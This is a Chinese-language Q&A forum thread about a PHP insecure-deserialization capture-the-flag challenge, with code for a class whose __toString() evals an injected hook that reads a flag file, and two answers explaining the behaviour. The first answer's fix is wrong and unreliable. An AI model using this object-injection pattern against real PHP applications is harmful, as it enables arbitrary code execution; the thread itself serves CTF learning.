猿问

为什么“exit()”后代码还在执行?

我正在做一个关于 PHP 中不安全反序列化的 CTF 挑战。目标是通过将代码注入反序列化来打印标志以执行print_flag()函数。我怀疑网络服务器只打印脚本回显的最后一行,即使在调用exit().


提供了在网络服务器上运行的一部分 php 代码。我已经在我自己的 php 脚本中实现了它,以找出哪些有效,哪些无效。我已经成功地序列化了一个在反序列化时执行代码的对象。通过调用exit(print_flag());标志被打印,没有任何进一步的错误......至少在我的脚本中。当我将序列化对象发送到网络服务器时,它仍然会打印更多错误。


此外,我尝试从注入的代码中返回一个字符串。那也行不通。


function print_flag() {

    print file_get_contents('/var/flag/flag.txt');

}


class Example2

{

    private $hook;


    function __construct() {

        $this->hook = "exit(print_flag());";

    }


    function __toString()

    {

        if (isset($this->hook)) eval($this->hook);

    }

}


$flag = new Example2();

$serialized = serialize($flag);

print "$serialized\r\n";

$deserialized = unserialize($serialized);

该代码类似于挑战中显示的代码,但经过修改,因此对我有用。


我希望代码只返回标志。在我自己的机器上执行脚本时,输出为:


O:8:"Example2":1:{s:14:"Example2 hook";s:19:"exit(print_flag());";} thisistheflag


当我没有调用它时exit():


PHP 可恢复的致命错误:方法示例 2::__toString() 必须在第 39 行的 ../phpObjInj.php 中返回一个字符串值”


网络服务器返回:


可捕获的致命错误:方法示例 2::__toString() 必须在第 79 行的 /var/www/index.php 中返回一个字符串值


如何停止打印错误?


慕妹3146593
浏览 646回答 2
2回答

慕村9548890

删除构造函数中的双引号,function __construct() 而不是function __construct() {    $this->hook = "exit(print_flag());";}用function __construct() {    $this->hook = exit(print_flag());}

Smart猫小萌

发生错误的原因是unserialize($flag);。由于参数 tounserialize()应该是一个字符串,它尝试将Example2对象转换为字符串。您可能打算使用unserialize($serialized);.但更一般地,您应该确保该__toString()方法返回一个字符串。如果你不在乎它是什么,你可以返回一个空字符串。function __toString(){    if (isset($this->hook)) eval($this->hook);    return "";}当您exit()在钩子中时不会发生错误,因为脚本在__toString()方法返回之前退出,因此它从不检查返回值。之后没有执行任何操作exit()。下面是操作顺序:new Example2 - 创建新对象serialize($flag) - 创建一个表示对象的字符串print "$serialized\r\n"; - 打印上面的字符串以上步骤都不需要调用__toString(),所以钩子还没有执行。deserialize($flag)- 这需要转换$flag为字符串,以便可以将其解析为序列化数据。称呼 $flag->__toString()eval($this->hook)调用print_flag(),打印标志调用exit(),终止脚本所以你看到序列化的对象被打印出来,然后标志被打印出来,然后没有别的,因为exit().为了演示该漏洞,您应该unserialize()使用正确的参数调用。$deserialized = unserialize($seralized); echo $deserialized;该echo语句将导致__toString()调用该方法。这将退出脚本,您将不会收到错误消息。
随时随地看视频慕课网APP
我要回答